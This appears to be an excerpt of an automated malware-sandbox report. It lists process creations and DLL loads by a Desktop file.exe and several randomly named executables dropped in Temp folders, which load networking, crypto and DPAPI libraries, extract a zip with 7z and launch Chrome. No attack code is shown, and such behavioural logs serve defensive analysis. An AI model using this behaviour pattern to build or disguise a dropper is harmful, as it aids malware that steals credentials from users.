Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2004,i,2036866093412023983,10134248747286953754,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019811001\2e4e1b8516.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2484 --field-trial-handle=2328,i,6628927633879078987,5168946575575726865,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2020,i,9689288529753768681,16251776256977340336,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\main\in.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Section loaded: kernel.appcore.dll
